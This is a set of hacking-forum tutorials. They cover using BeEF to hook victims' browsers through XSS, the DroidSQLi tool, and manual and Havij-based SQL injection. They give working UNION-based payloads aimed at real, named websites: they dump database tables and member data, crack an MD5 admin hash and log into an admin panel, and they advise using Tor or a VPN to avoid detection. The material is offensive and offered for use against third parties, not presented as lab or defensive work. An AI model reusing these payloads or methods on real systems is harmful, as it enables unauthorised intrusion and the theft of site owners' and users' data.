Hello Brothers. As I have seen there is not a tutorial about XSS exploiting via BeEF so I thought I would help you by bringing this.
This is for the people that claim XSS finds are useless and nothing can be exploited further than a simple JavaScript alert pop up. For those of you who do not already know today I will introduce you to a nifty tool called BeEF. It has a user friendly interface controlled via browser which is nice as its not just command line orientated. Start by first loading it from your box.

Code:

$./beef

This tool is also found on Backtrack.

So we run it and are faced with this:

This pretty much just starts the server and has it ready for action. Now go to:

Code:

IP/beef/

Pretty self explanatory and as you see they provide you with a default login password. Once your satisfied with that click "apply config" and you will be logged into the BeEF interface with all of its capability's just waiting to catch zombies.

Play around and get used to the different features. I am not going to explain them. To start catching zombies you need to trigger the beefmagic.js.php file in the victims browser. This acts like a silent browser exploit. It has to be triggered via XSS though. Below is an example of how your evil script should look:

Once you have a zombie it will look like below:

From here its almost like a Trojan horse client. You can run commands and even Metasploit exploits against your victim. Other fun things include finger printing their machine. Creating pop ups to scare them. Capturing their logs  and even using their browser as a proxy. So as you can see A LOT Of damage can be caused via XSS.

Use your imagination and this tool to the best of its capability's. It might prompt you to take these 'easy' level XSS challenges a step further.

Hope you's enjoyed and maybe learned something new. 

Thanks 

Sup guys?

Since I received positive response from previous posts .....
I m back with a new one !
Here I am going to present the primary automatic MySQL Injection tool for android - DroidSQLi . It permits you to check your MySQL-based net application against SQL injection attacks from your android phones.



DroidSQLi supports the following injection techniques:
- Time based injection
- Blind injection
- Error based injection
- Normal injection
It automatically selects the best technique to use and employs some simple filter evasion methods.

Salam Mad leets .. I wrote this article for my website .. thought to share it here aswell ..



Introduction:

In this tutorial i will show you how to add HTML tags and designs in your SQL Injection queries..




Purpose:


-----> By using HTML tags in our SQLi query, we can arrange the output in a proper way.


-----> Sometimes the result of our query appears in the source of the webpage or in the title or sometimes in the URL. In that case we add HTML tags to make it more visible on the webpage.





-----> I don't know about you guys but as you can see i like Colors and decoration .. ALOT .. 


Tutorial: 

First of all, i assume you guys have sound knowledge of SQL injection and Basic HTML.

For this Tutorial .. The site I'm going to inject is :


hxxp://www.dbhspgoa.edu.in


Here is the vulnerable link where parameter 'id' is vulnerable to a very simple SQLi.


hxxp://dbhspgoa.edu.in/Article.php?id=92


So, lets start with some very basic injection and i can quickly see that there are 9 Columns here.


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,4,5,6,7,8,9--




And I will inject in 4th column. so Lets get the database name in 4th column.


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,concat(database()),5,6,7,8,9--




Now, look at the database name. Even though it is visible ( not in the source code but on the proper page ) but font size is very small .. Don't know about you .. but i don't like it. 

Now, let me show you the wonders of HTML tags.

We can always add HTML in our SQLi query. Sometimes we can write it directly enclosed in single quotes like :


concat ('<opening_tags>', QUERY , '<closing_tags>')


But most of the times this syntax is not allowed and we have to convert our HTML tags in HEX . like ..


concat(0xHEX_value_of_opening_tag , QUERY , 0xHEX_value_of_closing_tag)




Notice these 0x here .. This means that what ever is written after this .. Decode it from HEX before executing.



Following are the basic usage of these tags. You can use your creativity and endless imagination.



Example 1:



Lets start with an HTML tag called <font>.



Usage : <font size="8" color="red"> MakMan </font>



I'm going to use this tag in our query but in this website it doesn't allow to use HTML tags directly so we have to convert to HEX first. Just follow the syntax.


Now my format should be:


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,concat(0xHEX_value_of_opening_tag,database(),0xHEX_value_of_closing_tag),5,6,7,8,9--


To convert in HEX, you can use many online tools. Just google :String to HEX converter
After converting my opening and closing tags in this case.



Opening_tag = <font size="8" color="red"> ---- HEX ---> 3c666f6e742073697a653d22382220636f6c6f723d22726564223e



Closing_tag = </font> ---- HEX ---> 3c2f666f6e743e




Putting these HEX values in my format. My query will become:




hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,concat(0x3c666f6e742073697a653d22382220636f6c6f723d22726564223e,database(),0x3c2f666f6e743e),5,6,7,8,9--





Look at the Result now .. Sweet 





Example 2:

Mostly people write their names in SQL Injection with their query. Lets try that.

Creativity has no boundaries. 

My HTML Syntax before converting to HEX (Just to show you guys what I'm doing, It will not work You have to Convert it to HEX):

hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,group_concat(0x<br><font face='calibri' size="5" color="green">MakMan</font><font face='Impact' size="4" color="red">,table_name,0x</font>,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--


My HTML Syntax after converting it to HEX:


hxxp://dbhspgoa.edu.in/Article.php?id=92+and+0+UNION+SELECT+1,2,3,group_concat(0x3c62723e3c666f6e7420666163653d2763616c69627269272073697a653d22352220636f6c6f723d​22677265656e223e4d616b4d616e202d2d2d3e3c2f666f6e743e3c666f6e7420666163653d27496d​70616374272073697a653d22342220636f6c6f723d22726564223e,table_name,0x3c2f666f6e743e),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--

Check the result. Now just Imagine what else you can do with it.






It took me an hour to write this thread but i want to share the credits of this tutorial with -ajkaro , the best SQL injector i have ever known. Let me show you guys some of his art work with manual SQLi.




...




NOTE: If you copy paste these links from here into your browser tab, make sure to paste it in notepad first and delete these bugs .. 


these Bugs Appear because when we copy paste directly from Blog thread page, we also copy some unicode characters like this zero width space &'#8203; which when comes in a query doesn't show the results properly .. 

Today i am gonna show you how to hack a website using Havij sql injection.


Now Lets start---->

Things you will need -->

1. Havij SQL injection Tool, download it from

Quote:http://www.itsecteam.com/products/havij-v116-advanced-sql-injection/

2. A sql vunerable site, I am taking this site
http://toyonorte.com.co/catalogo_nuevos_...e.php?id=2 as an example.
Checking for sql vulnerability --->

Here i am taking http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2 as an example. 


Now to check is this site vulnerable to sql, I will simply add ' after the site url

like this http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2'

and i get this error on the site
You have an error in
your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near '\'' at line 1It means that site is vulnerable to sql injection.
Exploiting the vulnerable site ---> 

1. Open Havij and paste site url in target field and hit enter
2. Now wait for Havij to get all the databases of the website.
3. Now click on available databse of site and click on Get Tables like i am gonna select535480_toyonorte of my site like in image.

4. By clicking Get Tables Havij will look after the tables available in the database.
5. Now after the
scanning Havij will get all tables, now the main work start , you have
to check it there table available named as admin, users and something
similar to these words like i get usuario in my website and select it and click on Get Columns. Like in pic given below.
 
6. Now after clicking Get Columns havij will get all the columns available in users table.
7. In my case i found diffrent columns like id, login, pass an many more.
8. Now select the columns and click on Get Data like in pic given below.


 
9. Now havij will look after the data available in columns login and password i.e admin username and passowrd like i get 
username --> admin password--> 21232f297a57a5a743894a0e4a801fc3 (in encrypted form)
Like in image below

 
10. Now after i get
username and password there is a problem that passowrd i s encrypted in
mdm language , so we have to crack it .

11. To crack encrypted password just copy password click on MD5 tab in havij and paste the encrypted password in MD5 hash field and hit start.Now havij will try to crack the password. Like i cracked in image given below. 
12. Now i get Password cracked as admin.

13. Now we will check for admin panel where we gonna login with username and passoword.

In my case i found http://toyonorte.com.co/admin/ as admin panel, now open it in a web browser and login with username and password and now you are in admin panel.

Notes--->
1. Website hacking is illegal
2. Use proxy, tor, vpn for your security.

Salam Visitor's.. 



When i started SQL Injection, at first, i used different tools like SQL Map etc .. (which is no doubt a very good tool) and i used to think, why don't people use these tools, why they prefer manual Injection.



Well .. the answer is simple. Lots of things you can do manually can never be done by these tools. Now I only use them when I'm doing Blind Injection.



So, I have decided to write a series of tutorials on SQL Injection from Medium to Advanced Level. There's nothing new from my side in these tutorials except the explanation (The Best i can do). I'm just posting what i have learnt. These threads/articles will be my creation. Not the methods but the threads. 



I have already posted a Basic Tutorial .. Check it here if you haven't checked it yet.



Adding HTML in SQL Injection ( SQLi FUN )





So, In this first part I'm going to show you guys:




1) How to Bypass 1024 character Limit of group_concat().

2) How to Dump a complete table using single query.





1) How to Bypass 1024 character Limit of group_concat():



Some functions in MySQL are limited to a character length of 1024 characters. Now, this limit can be increased only if you're a MySQL 'Root' User.

But, in our case we do not have the permissions to change these limits.

One of the very handy functions we use in our SQL Injection query is group_concat().

This function returns a string with concatenated non-NULL values from a group and by default it is also limited to a character length of 1024.



To demonstrate this whole scenario, I've chosen few targets. For this Example the target I'm going to use is:



hxxp://www.padaweb.org/about.php?cid=2



Here the parameter 'cid' is vulnerable to very simple SQL Injection.



By quickly evaluating the vulnerable columns, this is the query.



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+1,2,3,4--





The vulnerable columns are 1 and 2. Column 1 is in the title of the webpage, where as column 2 is on the webpage. Now i can Inject in Column 2. But just forthe sake of fun, I will inject in Column 1. But first i will use my previous tutorial called
" Adding HTML tags in SQL Injection "
to bring that column 1 from the title of the webpage to the main webpage. 



So, by looking at the source:





I know to bring this column on the webpage i have to close <title> tag as </title>. But as Magic Quotes are 'ON' so i have to convert my HTML tag to HEX first.



My query will be:


hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(</title>,database()),2,3,4--



[b]After converting </title> to HEX:

hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,database()),2,3,4--



And see the result now:



Now if you want to add some colors and stuff follow my previous tutorial.



Coming to the actual goal again, by quickly evaluating all the tables i have found an interesting table

here: tblMember in the main database: padaorg_pada



Lets get the column names of this table. The query will be:



Before Converting to HEX:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(</title>,group_concat(<br>,column_name)),2,3,4+from+information_schema.columns+where+table_name=tblMember--



I have to convert the HTML tags in HEX and tblMember to CHAR() as Magic Quotes are 'ON'.



so after converting:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,group_concat(0x3c62723e,column_nam​e)),2,3,4+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 77, 101, 109, 98, 101, 114)--







Now, by looking at all the column names some one may think that these are all the column names, but no, we have more, we couldn't dump them because of the1024 character limit.



By Using this query i can find no. of Columns in tblMember:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,count(column_name)),2,3,4+from+inf​ormation_schema.columns+where+table_name=CHAR(116, 98, 108, 77, 101, 109, 98, 101, 114)--


That is : 35 Rows of Data







so we are missing some columns here.



Lets do one more test. Lets grab the data in some of the columns.



This query will tell me, how many Entries or Rows are there in this table:


hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,count(*)),2,3,4+from+tblMember--



That is: 45 Rows of Data







Lets see how many do we get using group_concat():



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,group_concat(0x3c62723e,Member_Nam​e,0x3a,Date_Time_Created,0x3a,Date_Time_Modified)),2,3,4+from+tblMember--



That is: 18 Rows of Data







So, we are definitely missing some data here and you know the reason.



To bypass this we are going to use simple programming logic i.e Iterations. Take a look at this code:

PHP Code:

(
 select (@x)
 from (
 select (@x:=0x00),
            (
 select (0)
 from (information_schema.columns)
 where (table_schema!='information_schema') and (0x00)
            in (@x:=concat(@x,'<br>',table_schema,'-->',table_name,'-->',column_name))
 )
 )x) 

Yea .. i know it looks horrible ..  .. but don't worry .. this piece of code will do wonders for us. Let me explain what's happening here.

Warning : IF you have a Weak Heart, Leave this thread at this very moment 



So, we are declaring a variable 'x' here and with the help of nested SELECT statement we will iterate through each and every Table Name and Column name of all the databases available except for 'information_schema' which is not required as it just gives access to the MetaData of the databases and thus all the Column names will be printed with their respective Table names.



I will put this whole code in my SQL Injection query in my vulnerable Column i.e column 1.



Lets try this. My Query will become:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@x) from (select (@x:=0x00), (select (0) from(information_schema.columns) where (table_schema!='information_schema') and (0x00) in (@x:=concat(@x,'<br>',table_schema,'-->',table_name,'-->',column_name))))x)),2,3,4--



But this will NOT work ..  why? because magic quotes are 'ON'. we have to do some Hexing here.



So after Hexing:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@x) from (select (@x:=0x00), (select (0) from(information_schema.columns) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c62723e,table_schema,0x2d2d3e,table_name,0x2d2d3e,column_name)​)))x)),2,3,4--







Lets add some Colors to it  (Be Nice Plz, I know This Query will be HUGE) :



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@x) from (select (@x:=0x00), (select (0) from(information_schema.columns) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c62723e,0x3c666f6e742073697a653d22352220636f6c6f723d2272656422​3e,table_schema,0x3c2f666f6e743e,0x2d2d3e,0x3c666f6e742073697a653d22342220636f6c​6f723d22677265656e223e,table_name,0x3c2f666f6e743e,0x2d2d3e3c666f6e7420636f6c6f7​23d22626c7565223e,column_name))))x)),2,3,4--



Check the result ( SWEET  ) :









2) How to Dump a complete table in one go.



So, after all this, there must be a way to dump a whole table (Data in all Columns) with one Single Query. We are going to use a similar code again but with littlemodification.

PHP Code:

(
 select (@)
 from (
 select (@:=0x00),
           (
 select (@)
 from TABLE_NAME_HERE
 where (@) in (@:=concat(@,'<br>',FIRST_COLUMN_HERE,'-->',SECOND_COLUMN_HERE,'-->',AND_SO_ON))
           )

     )a) 

Lets try this. By using this whole code in our Query:



hxxp://www.padaweb.org/about.php?cid=2+and+0+Union+select+concat(0x3c2f7469746c653e,(select (@) from (select (@:=0x00), (select (@) from tblMember where (@) in (@:=concat(@,0x3c62723e,0x3c666f6e742073697a653d22352220636f6c6f723d22726564223e​,Member_Name,0x3c2f666f6e743e,0x2d2d3e,0x3c666f6e742073697a653d22342220636f6c6f7​23d22677265656e223e,Date_Time_Created,0x3c2f666f6e743e,0x2d2d3e,0x3c666f6e742063​6f6c6f723d22626c7565223e,Date_Time_Modified,0x3c2f666f6e743e))))a)),2,3,4--









That is : 45  ( Which was previously 18 using group_concat)







That's it for the day..The Best SQL Injectors I've ever known .. I hope this was informative .. Thank you so much for reading one of the longest threads 


NOTE: If you copy paste these links from here into your browser tab, make sure to paste it in notepad first and delete these bugs .. 





these Bugs Appear because when we copy paste directly from blog thread page, we also copy some unicode characters like this zero width space &'#8203;which when comes in a query doesn't show the results properly ..